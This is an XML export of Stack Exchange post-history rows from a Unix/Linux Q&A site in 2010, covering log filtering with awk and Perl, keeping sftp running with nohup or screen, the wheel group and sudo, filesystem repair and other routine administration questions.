  <row Id="9722" PostHistoryTypeId="2" PostId="4453" RevisionGUID="87244037-e8e7-41ef-a2ca-ab0a67541129" CreationDate="2010-11-30T21:45:11.027" UserId="1779" Text="Untested, but something like&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env perl&#xD;&#xA;&#xD;&#xA;    my %lastline;&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/\b([[:xdigit:]]{32})\b/) {&#xD;&#xA;            if (/INFO/) {&#xD;&#xA;                $lastline{$1} = $_;&#xD;&#xA;            }&#xD;&#xA;            elsif (/ERROR/) {&#xD;&#xA;                print delete $lastline{$1} if exists $lastline{$1};&#xD;&#xA;                print;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;probably works." />
  <row Id="9723" PostHistoryTypeId="2" PostId="4454" RevisionGUID="b00c7c89-ef0a-4baa-b00f-f07fbbaca6dc" CreationDate="2010-11-30T21:45:30.653" UserId="885" Text="If you have GNU grep, you can ask it to print the line previous to each match with `grep -B 1`, and do a bit of postprocessing:&#xD;&#xA;&#xD;&#xA;    &lt;foo.log grep -B 1 'AbstractEngineServlet.*timeout' | grep 'about to call'&#xD;&#xA;&#xD;&#xA;With standard tools this is a job for sed or awk.&#xD;&#xA;&#xD;&#xA;    &lt;foo.log awk '&#xD;&#xA;      /about to call/ {target_text=$0; target_line=NR;}&#xD;&#xA;      /AbstractEngineServlet.*timeout/ &amp;&amp; target_line==NR-1 {print target_text}&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="9724" PostHistoryTypeId="5" PostId="4454" RevisionGUID="59fd30f3-995a-4049-a53e-b4763da15d2a" CreationDate="2010-11-30T21:51:46.570" UserId="885" Comment="implement the “matching cookie” requirement!" Text="This looks like a job for awk. Assuming your logs are sufficiently regular (in particular I'm extracting the session cookie as the 6th field):&#xD;&#xA;&#xD;&#xA;    &lt;foo.log awk '&#xD;&#xA;      /about to call/ {target[$6]=$0;}&#xD;&#xA;      /AbstractEngineServlet.*timeout/ {print target[$6]; print;}&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="9725" PostHistoryTypeId="2" PostId="4455" RevisionGUID="4b78989a-034a-4d93-99ad-3189c3d73922" CreationDate="2010-11-30T22:24:40.813" UserDisplayName="anurag kohli" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I need to transfer a large number of files over SFTP (only between Solaris servers) which takes a very long time. I cannot keep my PC on for this duration. I tried:&#xD;&#xA;&#xD;&#xA;nohup sftp server1&#xD;&#xA;&#xD;&#xA;While the shell is open, I see files are downloaded. When I close the shell it stops. In ps -ef I don't see the sftp process. The file nohup.out states: Killed by signal 15&#xD;&#xA;&#xD;&#xA;If instead I do ctrl-z, bg, disown it works. However this requires the bash shell. I'd prefer a solution for ksh.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="9726" PostHistoryTypeId="1" PostId="4455" RevisionGUID="4b78989a-034a-4d93-99ad-3189c3d73922" CreationDate="2010-11-30T22:24:40.813" UserDisplayName="anurag kohli" Text="Using nohup on Solaris 10" />
  <row Id="9727" PostHistoryTypeId="3" PostId="4455" RevisionGUID="4b78989a-034a-4d93-99ad-3189c3d73922" CreationDate="2010-11-30T22:24:40.813" UserDisplayName="anurag kohli" Text="éunixàésolarisàénohupà" />
  <row Id="9728" PostHistoryTypeId="2" PostId="4456" RevisionGUID="97e81496-a514-4d0b-9967-eee840d495dd" CreationDate="2010-11-30T22:44:44.470" UserId="2729" Text="You could set up and remove your repository by asking a debconf question and copying/removing a file to/from source.list.d if the answer is positive. Users normally expect a high level of control on where we get updates from, and adding a source has security implications beyond the security of the current package, so make this easy to disable." />
  <row Id="9729" PostHistoryTypeId="2" PostId="4457" RevisionGUID="70995e27-17aa-4262-b0df-4389be3ad2e4" CreationDate="2010-11-30T22:47:41.363" UserId="885" Text="You can do Ctrl+Z, `bg`, `disown` in ksh as well. You'd want that in addition to `nohup`, i.e.,&#xD;&#xA;&#xD;&#xA;    nohup sftp server1&#xD;&#xA;    ...&#xD;&#xA;    &lt;Ctrl+Z&gt;&#xD;&#xA;    bg&#xD;&#xA;    disown&#xD;&#xA;&#xD;&#xA;However my recommendation here would be to use [**screen**](http://www.gnu.org/software/screen/). In OpenSolaris, it's in the `SUNWscreen` package. Run `screen`, which starts a shell in a new virtual terminal. Run `sftp server` inside that shell (you can also directly run `screen sftp server`). Initiate your transfer, then type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;D&lt;/kbd&gt; to disconnect (“detach”) from the screen session. The processes inside the session will keep running. Later, you can reattach to that screen session with `screen -rd`.&#xD;&#xA;" />
  <row Id="9730" PostHistoryTypeId="5" PostId="4447" RevisionGUID="e6ddf733-c90a-4d76-9de3-12bb5216c3c9" CreationDate="2010-11-30T23:21:03.563" UserId="2759" Comment="added 71 characters in body" Text="They are fine with both for the most part, OpenJDK is installed by default on supported platforms, when it's not available they use GCJ instead.&#xD;&#xA;&#xD;&#xA;Reference : http://wiki.debian.org/Java" />
  <row Id="9733" PostHistoryTypeId="2" PostId="4458" RevisionGUID="9de63b04-04d8-4b3c-bdf0-c663d2093bf0" CreationDate="2010-12-01T03:54:58.533" UserId="2511" Text="Add the user to the `wheel` group:&#xD;&#xA;&#xD;&#xA;    gpasswd wheel -a username&#xD;&#xA;&#xD;&#xA;and the use `visudo` to edit the sudoers file, removing the `# ` from this line:&#xD;&#xA;&#xD;&#xA;    %wheel  ALL=(ALL)       ALL&#xD;&#xA;&#xD;&#xA;Work is [in progress][1] to make this the default in Fedora 15.&#xD;&#xA;&#xD;&#xA;See also [this question and answer over on Server Fault][2] for information on granting sudo-like &quot;auth as self&quot; behavior to wheel group members for graphical apps which use consolehelper or PackageKit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=656873&#xD;&#xA;  [2]: http://serverfault.com/questions/205598/how-to-tweak-gnome-user-elevation-in-rhel-centos/205610#205610" />
  <row Id="9734" PostHistoryTypeId="5" PostId="4341" RevisionGUID="99e1e5aa-e9b1-4a45-940a-7a2d4bf03255" CreationDate="2010-12-01T03:56:59.703" UserId="2180" Comment="add script (hashed) example" Text="A good way to inspect what a command is:&#xD;&#xA;&#xD;&#xA;    type l&#xD;&#xA;&#xD;&#xA;If it's a program or a script, it will give you its location, if it is an alias, it will tell you what it's aliased to, if it's a function, it will print the funciton; otherwise, it will tell you if it is a built-in or a keyword.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;    $ type find&#xD;&#xA;    find is /usr/bin/find&#xD;&#xA;    $ type connecthome&#xD;&#xA;    connecthome is hashed (/usr/local/bin/connecthome)&#xD;&#xA;    $ type grep&#xD;&#xA;    grep is aliased to `grep --color=auto --binary-files=without-match --devices=skip'&#xD;&#xA;    $ type hello_hn&#xD;&#xA;    hello_hn is a function&#xD;&#xA;    hello_hn () &#xD;&#xA;    { &#xD;&#xA;      echo 'Hello, Hacker News!'&#xD;&#xA;    }&#xD;&#xA;    $ type type&#xD;&#xA;    type is a shell builtin&#xD;&#xA;    $ type for&#xD;&#xA;    for is a shell keyword&#xD;&#xA;    $ type nosuchthing&#xD;&#xA;    -bash: type: nosuchthing: not found" />
  <row Id="9735" PostHistoryTypeId="2" PostId="4459" RevisionGUID="09e3d81c-a297-48c1-b8d3-c5dd3e8a717c" CreationDate="2010-12-01T04:03:49.280" UserId="2511" Text="The literal answer is as others have given: because the current directory isn't in your `$PATH`.&#xD;&#xA;&#xD;&#xA;But *why?* In short, it's for security. If you're looking in someone else's home directory, and type just `gcc` or `ls`, you want to know you're running the real one, not a malicious version your prankster friend has written which erases all your files. Having `.` as the *last* entry in your path is a bit safer, but there are other attacks which make use of that. " />
  <row Id="9736" PostHistoryTypeId="2" PostId="4460" RevisionGUID="d67ec105-001b-4c53-a749-84e84c83f8bc" CreationDate="2010-12-01T05:33:37.473" UserId="688" Text="It appears to be [Unix tradition][1] that a wheel group is created automatically, but Debian (and children, naturally) doesn't do so. Is there a rationale somewhere? Where else have you seen this tradition discarded?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1262/where-did-the-wheel-group-get-its-name" />
  <row Id="9737" PostHistoryTypeId="1" PostId="4460" RevisionGUID="d67ec105-001b-4c53-a749-84e84c83f8bc" CreationDate="2010-12-01T05:33:37.473" UserId="688" Text="Why is Debian not creating the 'wheel' group by default (if at all)?" />
  <row Id="9738" PostHistoryTypeId="3" PostId="4460" RevisionGUID="d67ec105-001b-4c53-a749-84e84c83f8bc" CreationDate="2010-12-01T05:33:37.473" UserId="688" Text="édebianàéwheelà" />
  <row Id="9739" PostHistoryTypeId="5" PostId="3687" RevisionGUID="87d94802-a032-4b35-94ac-02888f5092fe" CreationDate="2010-12-01T05:35:41.573" UserId="688" Comment="remove meta note" Text="Go install [Debian][2] and try to do everything you did with whatever system you are more familiar with, and from there, go through a guide called [Debian Reference][1]. It's a basic intro to Debian and Unix concepts.&#xD;&#xA;&#xD;&#xA;Why Debian? It's what Ubuntu and Linux Mint are based on, and those 2 are the most popular Unix-like systems out there. That means if you get familiar with Debian, you will get familiar with those two.&#xD;&#xA;&#xD;&#xA;[1]:http://www.debian.org/doc/manuals/reference/&#xD;&#xA;[2]:http://www.debian.org" />
  <row Id="9740" PostHistoryTypeId="2" PostId="4461" RevisionGUID="d93b1c87-9dda-462e-816a-c4a5f0d05655" CreationDate="2010-12-01T06:00:55.197" UserId="2881" Text="Because wheel is a tool of oppression! From `info su`:&#xD;&#xA;&#xD;&#xA;&gt; Why GNU 'su' does not support the 'wheel' group&#xD;&#xA;&gt; ===============================================&#xD;&#xA;&gt; &#xD;&#xA;&gt;    (This section is by Richard&#xD;&#xA;&gt; Stallman.)&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Sometimes a few of the users try to&#xD;&#xA;&gt; hold total power over all the rest. &#xD;&#xA;&gt; For example, in 1984, a few users at&#xD;&#xA;&gt; the MIT AI lab decided to seize power&#xD;&#xA;&gt; by changing the operator password on&#xD;&#xA;&gt; the Twenex system and keeping it&#xD;&#xA;&gt; secret from everyone else.  (I was&#xD;&#xA;&gt; able to thwart this coup and give&#xD;&#xA;&gt; power back to the users by patching&#xD;&#xA;&gt; the kernel, but I wouldn't know how to&#xD;&#xA;&gt; do that in Unix.)&#xD;&#xA;&gt; &#xD;&#xA;&gt;    However, occasionally the rulers do&#xD;&#xA;&gt; tell someone.  Under the usual `su'&#xD;&#xA;&gt; mechanism, once someone learns the&#xD;&#xA;&gt; root password who sympathizes with the&#xD;&#xA;&gt; ordinary users, he or she can tell the&#xD;&#xA;&gt; rest.  The &quot;wheel group&quot; feature would&#xD;&#xA;&gt; make this impossible, and thus cement&#xD;&#xA;&gt; the power of the rulers.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    I'm on the side of the masses, not&#xD;&#xA;&gt; that of the rulers.  If you are used&#xD;&#xA;&gt; to supporting the bosses and sysadmins&#xD;&#xA;&gt; in whatever they do, you might find&#xD;&#xA;&gt; this idea strange at first.&#xD;&#xA;&#xD;&#xA;See also the [Debian Reference][1]. Anyways, the `sudo` group is built in so who needs `wheel`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/manuals/reference/ch04.en.html#_why_gnu_su_does_not_support_the_wheel_group" />
  <row Id="9741" PostHistoryTypeId="2" PostId="4462" RevisionGUID="a231e34f-865e-4ff1-aa39-c1bb9aad3c91" CreationDate="2010-12-01T06:58:23.027" UserId="2909" Text="So I've been stupid and removed my /var/lib/pacman/local dir.  &#xD;&#xA;Without backup, but with a root shell open at tty4. &#xD;&#xA;O yeah, pacman -Sf &lt;package&gt; with the base repo also overwrites your /etc/passwd. Thank god for .pacorig.  &#xD;&#xA;  &#xD;&#xA;    &#xD;&#xA;I still have my pacman logs, but all the packages are already installed. Pacman outputs errors that the files already exist.   &#xD;&#xA;How can I install packages without modifying files? (pacman -S --fake --noextract)   &#xD;&#xA;I've also tried the -D switch but that only works for installed packages.  &#xD;&#xA;" />
  <row Id="9742" PostHistoryTypeId="1" PostId="4462" RevisionGUID="a231e34f-865e-4ff1-aa39-c1bb9aad3c91" CreationDate="2010-12-01T06:58:23.027" UserId="2909" Text="Pacman/Arch: Install package(s) without really installing them" />
  <row Id="9743" PostHistoryTypeId="3" PostId="4462" RevisionGUID="a231e34f-865e-4ff1-aa39-c1bb9aad3c91" CreationDate="2010-12-01T06:58:23.027" UserId="2909" Text="éarchölinuxàépackageömanagementàépacmanà" />
  <row Id="9744" PostHistoryTypeId="2" PostId="4463" RevisionGUID="51fce2d1-1c7f-4775-8409-add776c8a183" CreationDate="2010-12-01T08:27:52.860" UserId="885" Text="Some unix systems allow only members of the `wheel` group to use `su`. Others allow anyone to use `su` if they know the password of the target user. There are even systems where being in the `wheel` group grants passwordless root access; Ubuntu does this, except that the group is called `sudo` (and doesn't have id 0).&#xD;&#xA;&#xD;&#xA;I think `wheel` is mostly a BSD thing. Linux is a mix of BSD and System V, and the various distributions have different default policies with respect to granting root access. Debian happens not to implement a wheel group by default; if you want to enable it, uncomment the `auth required pam_wheel.so` line in `/etc/pam.d/su`.&#xD;&#xA;" />
  <row Id="9746" PostHistoryTypeId="2" PostId="4465" RevisionGUID="816d7152-41c2-4480-884b-7035b9793621" CreationDate="2010-12-01T09:29:38.743" UserId="2912" Text="I've been asked whats the cheapest/easiest/most reliable way to use Linux as a webserver/mysql DB machine. Is it going to be buying a really old PC and putting Linux on it or what i'd rather do is get one of these SBC (single board computers) to cut down on cost and just house it in a casing. This is going to sit on an ethernet network and be UPS'd up. But i'm just wondering from a hardware point of view what people would/have done?" />
  <row Id="9747" PostHistoryTypeId="1" PostId="4465" RevisionGUID="816d7152-41c2-4480-884b-7035b9793621" CreationDate="2010-12-01T09:29:38.743" UserId="2912" Text="Linux advice for datalogging machine" />
  <row Id="9748" PostHistoryTypeId="3" PostId="4465" RevisionGUID="816d7152-41c2-4480-884b-7035b9793621" CreationDate="2010-12-01T09:29:38.743" UserId="2912" Text="élinuxàéhardwareàéwebserverà" />
  <row Id="9749" PostHistoryTypeId="2" PostId="4466" RevisionGUID="17b7ffd4-9f20-46ab-b4c5-cc22a6594cbf" CreationDate="2010-12-01T10:32:11.303" UserId="2278" Text="I am using `xset dpms force off` for manually turing my screen off to save power.  &#xD;&#xA;But it turns back on after some time ( 20 - 40 seconds ).  &#xD;&#xA;&#xD;&#xA;[This](http://ubuntuforums.org/showthread.php?t=1317747) solution suggest turning off wireless but I cannot do that, as the connection is needed while the screen is off, so is there any other work around so that it does not wakes up on wireless fluctuation or due to other network (magic packet) and usb devices." />
  <row Id="9750" PostHistoryTypeId="1" PostId="4466" RevisionGUID="17b7ffd4-9f20-46ab-b4c5-cc22a6594cbf" CreationDate="2010-12-01T10:32:11.303" UserId="2278" Text="Screen turns on automaticallyt (xset dpms force off)" />
  <row Id="9751" PostHistoryTypeId="3" PostId="4466" RevisionGUID="17b7ffd4-9f20-46ab-b4c5-cc22a6594cbf" CreationDate="2010-12-01T10:32:11.303" UserId="2278" Text="éscreenàépowerömanagementà" />
  <row Id="9752" PostHistoryTypeId="2" PostId="4467" RevisionGUID="2a9d623e-b92b-4ea0-9dff-78a0434aca26" CreationDate="2010-12-01T11:41:06.267" UserId="2914" Text="I have a problem of the following type:&#xD;&#xA;&#xD;&#xA;When I boot my machine either in normal mode or runlevel 1 then it throws following error and unable to boot the machine:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;checking filesystems&#xD;&#xA;/dev/MyGroup/LogVol00: UNEXPECTED INCONSISTENCY; RUN fsck MANNUALLY&#xD;&#xA;       (i.e., without -a or -p options)&#xD;&#xA;&#xD;&#xA;*** An error occured during the file system check&#xD;&#xA;*** Dropping you to a shell; the system will reboot&#xD;&#xA;*** when you leave the shell&#xD;&#xA;Give root password for maintenanc(or type Control-D to continue):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I enter the password and run fsck and e2fsck command but both gives the same error format as shown below:&#xD;&#xA;&#xD;&#xA;(Repair filesystem) 1 # fsck&#xD;&#xA;fsck 1.39 (29-May-2006)&#xD;&#xA;OR&#xD;&#xA;(Repair filesystem) 1 # e2fsck -y /dev/MyGroup/LogVol00&#xD;&#xA;e2fsck 1.39 (29-May-2006)&#xD;&#xA;/dev/MyGroup/LogVol001: clean, 141289/1402144 files, 804207/1400832 blocks&#xD;&#xA;e2fsck 1.39 (29-May-2006)&#xD;&#xA;The filesystem size of the device is 131072 blocks&#xD;&#xA;Eitherthe superblock or the partition table is likely to be corrupt!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now I decide to use alternate superblock as follows:&#xD;&#xA;&#xD;&#xA;(Repair filesystem) 6 #dumpe2fs /dev/MyGroup/LogVol00 | grep -i superblock&#xD;&#xA;&#xD;&#xA;To repair file system by alternative-superblock use command as follows:&#xD;&#xA;(Repair filesystem) 7 #e2fsck -f -b 8193 /dev/MyGroup/LogVol00&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After using all alternate superblock I am getting the same error message as shown below:&#xD;&#xA;&#xD;&#xA;e2fsck 1.39 (29-May-2006)&#xD;&#xA; /dev/MyGroup/LogVol00: recovering journel&#xD;&#xA;e2fsck: unable to set superblock flags on /dev/MyGroup/LogVol00:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PLZ how can I troubleshoot this type of problem??&#xD;&#xA;&#xD;&#xA;Best Regards,&#xD;&#xA;Jack Saron&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9753" PostHistoryTypeId="1" PostId="4467" RevisionGUID="2a9d623e-b92b-4ea0-9dff-78a0434aca26" CreationDate="2010-12-01T11:41:06.267" UserId="2914" Text="e2fsck: unable to set superblock flags on LogicalVolume" />
  <row Id="9754" PostHistoryTypeId="3" PostId="4467" RevisionGUID="2a9d623e-b92b-4ea0-9dff-78a0434aca26" CreationDate="2010-12-01T11:41:06.267" UserId="2914" Text="érhelà" />
  <row Id="9755" PostHistoryTypeId="2" PostId="4468" RevisionGUID="5a38ee74-bd74-4f88-9c80-0043ceb10d49" CreationDate="2010-12-01T12:39:16.703" UserId="1144" Text="You don't mention that you were making configuration changes before you rebooted and got the error. If you were making changes then that might give a clue as to where to look. However assuming that this just happened without any configuration being changed.&#xD;&#xA;&#xD;&#xA;First off you may have a real disk problem. Look at the output from the&#xD;&#xA;&#xD;&#xA;    dmesg&#xD;&#xA;&#xD;&#xA;command and see if that lists any issues after you have run the e2fsck command.&#xD;&#xA;&#xD;&#xA;If that doesn't show any likely causes then check the status of your logical volume. Use&#xD;&#xA;&#xD;&#xA;    lvdisplay /dev/MyGroup/LogVol00&#xD;&#xA;&#xD;&#xA;That will list a number of things. In particular look at the *LV Write Access*, *LV Status* and &quot;LV Size&quot; entries in the output. Readonly access or the wrong partition size would cause things to go wrong." />
  <row Id="9756" PostHistoryTypeId="2" PostId="4469" RevisionGUID="13cf1d33-618b-4a15-8016-aa323de028c6" CreationDate="2010-12-01T12:45:09.060" UserId="2916" Text="I am an avid keyboard user, but I still need the mouse every now and then.  To minimize the hand travel, I have the mouse located below my keyboard.  (On a side note, using the mouse this way feels more natural to my hand.)&#xD;&#xA;&#xD;&#xA;I am currently using [unclutter][1] to hide the pointer while I don’t use the mouse.  Unfortunately, I am nudging it at times while typing, which causes the pointer to reappear.  Sometimes this will move the pointer over another window, which in turn takes the focus away from my current window.  (I am using sloppy focus, and changing this is not an option.)&#xD;&#xA;&#xD;&#xA;I am now searching for a possibility to not only hide the pointer after a certain amount of idle time, but disable the mouse altogether.  Clicking any mouse button or using the mouse wheel should then re-enable the mouse.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibiblio.org/pub/X11/contrib/utilities/unclutter-8.README" />
  <row Id="9757" PostHistoryTypeId="1" PostId="4469" RevisionGUID="13cf1d33-618b-4a15-8016-aa323de028c6" CreationDate="2010-12-01T12:45:09.060" UserId="2916" Text="Disable mouse (not touchpad!) in Xorg while idle" />
  <row Id="9758" PostHistoryTypeId="3" PostId="4469" RevisionGUID="13cf1d33-618b-4a15-8016-aa323de028c6" CreationDate="2010-12-01T12:45:09.060" UserId="2916" Text="éxorgà" />
  <row Id="9759" PostHistoryTypeId="2" PostId="4470" RevisionGUID="ee5f8cfc-a648-4da0-98be-dad4d9a6181e" CreationDate="2010-12-01T12:52:57.797" UserId="2909" Text="If you use an old PC it is more likely to fail at some point because of its age. If it is not very heavy work what you are going to do on it then I would suggest an atom nettop like the acer aspire revo or the msi wind box. They are cheap, I've got one running here also (debian, motion webcam server). Maybe you could look at a VPS, those are also not more than 10-20 dollars/month. You then don't have the power cost.   &#xD;&#xA;  &#xD;&#xA;Overall Linux runs fine on almost everything, but if you want reliable hardware then I would suggest something modern (with warranty :P)" />
  <row Id="9760" PostHistoryTypeId="2" PostId="4471" RevisionGUID="261c3cc6-01cc-4248-b910-a69a24f1dab7" CreationDate="2010-12-01T12:56:15.080" UserId="2909" Text="wget supports mirroring and ftp:&#xD;&#xA;&#xD;&#xA;wget -m ftp://user:pass@0.0.0.0/dir&#xD;&#xA;" />
  <row Id="9761" PostHistoryTypeId="5" PostId="2127" RevisionGUID="04f2a4dc-5e39-4d28-b8b0-111347760d84" CreationDate="2010-12-01T13:26:02.717" UserId="29" Comment="grammar corrections" Text="This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:&#xD;&#xA;&#xD;&#xA;1. this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? idk).&#xD;&#xA;&#xD;&#xA;2. If it did it as soon as it verified your credentials were incorrect, you could use the amount of time it took for it to invalidate you to help guess if part of your credentials were correct, dramatically reducing the guessing time.&#xD;&#xA;&#xD;&#xA;to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM ( [See Michaels answer][1] ).&#xD;&#xA;&#xD;&#xA;Security Engineering ( [2ed, amazon][2] | [1ed, free][3] ) gives a much better explanation of these problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2126/why-a-wrong-password-gives-a-big-delay/2128#2128&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0470068523?ie=UTF8&amp;tag=xenotsblog-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470068523&#xD;&#xA;  [3]: http://www.cl.cam.ac.uk/~rja14/book.html" />
  <row Id="9762" PostHistoryTypeId="5" PostId="2127" RevisionGUID="712e3b65-d679-4bc4-89db-d85f577226f0" CreationDate="2010-12-01T13:31:05.913" UserId="29" Comment="more grammar" Text="This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:&#xD;&#xA;&#xD;&#xA;1. this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? idk).&#xD;&#xA;&#xD;&#xA;2. If it did it as soon as it verified your credentials were incorrect, you could use the amount of time it took for it to invalidate your credentials to help guess if part of your credentials were correct, dramatically reducing the guessing time.&#xD;&#xA;&#xD;&#xA;to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM ( [See Michaels answer][1] ).&#xD;&#xA;&#xD;&#xA;Security Engineering ( [2ed, amazon][2] | [1ed, free][3] ) gives a much better explanation of these problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2126/why-a-wrong-password-gives-a-big-delay/2128#2128&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0470068523?ie=UTF8&amp;tag=xenotsblog-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470068523&#xD;&#xA;  [3]: http://www.cl.cam.ac.uk/~rja14/book.html" />
  <row Id="9763" PostHistoryTypeId="5" PostId="4148" RevisionGUID="566e331a-ddab-4390-b4fa-e49c1db608ec" CreationDate="2010-12-01T14:56:41.333" UserId="2700" Comment="added info about gvim configuration and other things tried" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - A co-worker that is also SSHing to a virtual RHES4 U8 box does not have the same issue but he used the stock vim install on the VM whereas myself and another co-worker with the problem compiled vim from source.  Could there be a compile flag we need?&#xD;&#xA; - I tried installing VM tools on one of the VMs, but it had no effect on this issue." />
  <row Id="9764" PostHistoryTypeId="4" PostId="4148" RevisionGUID="566e331a-ddab-4390-b4fa-e49c1db608ec" CreationDate="2010-12-01T14:56:41.333" UserId="2700" Comment="added info about gvim configuration and other things tried" Text="GVim compiled from source opened via SSH -X does not copy paste on selection" />
  <row Id="9765" PostHistoryTypeId="5" PostId="4185" RevisionGUID="4898727a-fc3c-4ce3-add3-12efa13de6a2" CreationDate="2010-12-01T17:07:00.343" UserId="73" Comment="edited body" Text="Just some thoughts without actually testing. If you are using the shell to launch your ssh session, you can use &lt;kbd&gt;Ctrl-Shift-c&lt;/kbd&gt; and &lt;kbd&gt;Ctrl-Shift-v&lt;/kbd&gt; to paste. Otherwise, would a right-click on your selection propose 'copy' to you?&#xD;&#xA;" />
  <row Id="9766" PostHistoryTypeId="5" PostId="4466" RevisionGUID="32f48048-64fa-4c92-aa34-3863d5a595bd" CreationDate="2010-12-01T17:08:04.677" UserId="73" Comment="deleted 9 characters in body; edited title" Text="I am using `xset dpms force off` to manually turn my screen off to save power.&#xD;&#xA;However, it turns back on after some time (20 - 40 seconds).&#xD;&#xA;&#xD;&#xA;[This](http://ubuntuforums.org/showthread.php?t=1317747) solution suggest turning off wireless, but I cannot do that as the connection is needed while the screen is off. Is there any other workaround so that it does not wake up on wireless fluctuation or due to other network (magic packet) and usb devices?" />
  <row Id="9767" PostHistoryTypeId="4" PostId="4466" RevisionGUID="32f48048-64fa-4c92-aa34-3863d5a595bd" CreationDate="2010-12-01T17:08:04.677" UserId="73" Comment="deleted 9 characters in body; edited title" Text="Screen turns on automatically (xset dpms force off)" />
  <row Id="9768" PostHistoryTypeId="5" PostId="4467" RevisionGUID="5b4ec18c-af03-4836-aabc-d056dc45a7aa" CreationDate="2010-12-01T17:25:00.337" UserId="73" Comment="deleted 20 characters in body; edited tags" Text="When I boot my machine either in normal mode or runlevel 1 it throws following error and I'm unable to boot the machine:&#xD;&#xA;&#xD;&#xA;&gt; checking filesystems  &#xD;&#xA;/dev/MyGroup/LogVol00: UNEXPECTED INCONSISTENCY; RUN fsck MANNUALLY  &#xD;&#xA;       (i.e., without -a or -p options)  &#xD;&#xA;&#xD;&#xA;&gt; \*** An error occured during the file system check  &#xD;&#xA;\*** Dropping you to a shell; the system will reboot  &#xD;&#xA;\*** when you leave the shell  &#xD;&#xA;Give root password for maintenance (or type Control-D to continue):&#xD;&#xA;&#xD;&#xA;I enter the password and run `fsck` and `e2fsck`, but both gives the same error format as shown below:&#xD;&#xA;&#xD;&#xA;    (Repair filesystem) 1 # fsck&#xD;&#xA;    fsck 1.39 (29-May-2006)&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;    (Repair filesystem) 1 # e2fsck -y /dev/MyGroup/LogVol00&#xD;&#xA;    e2fsck 1.39 (29-May-2006)&#xD;&#xA;    /dev/MyGroup/LogVol001: clean, 141289/1402144 files, 804207/1400832 blocks&#xD;&#xA;    e2fsck 1.39 (29-May-2006)&#xD;&#xA;    The filesystem size of the device is 131072 blocks&#xD;&#xA;    Either the superblock or the partition table is likely to be corrupt!&#xD;&#xA;&#xD;&#xA;Now I decide to use alternate superblock as follows:&#xD;&#xA;&#xD;&#xA;    (Repair filesystem) 6 #dumpe2fs /dev/MyGroup/LogVol00 | grep -i superblock&#xD;&#xA;&#xD;&#xA;To repair file system by alternative-superblock use command as follows:&#xD;&#xA;&#xD;&#xA;    (Repair filesystem) 7 #e2fsck -f -b 8193 /dev/MyGroup/LogVol00&#xD;&#xA;&#xD;&#xA;After using all alternate superblocks I am getting the same error message as shown 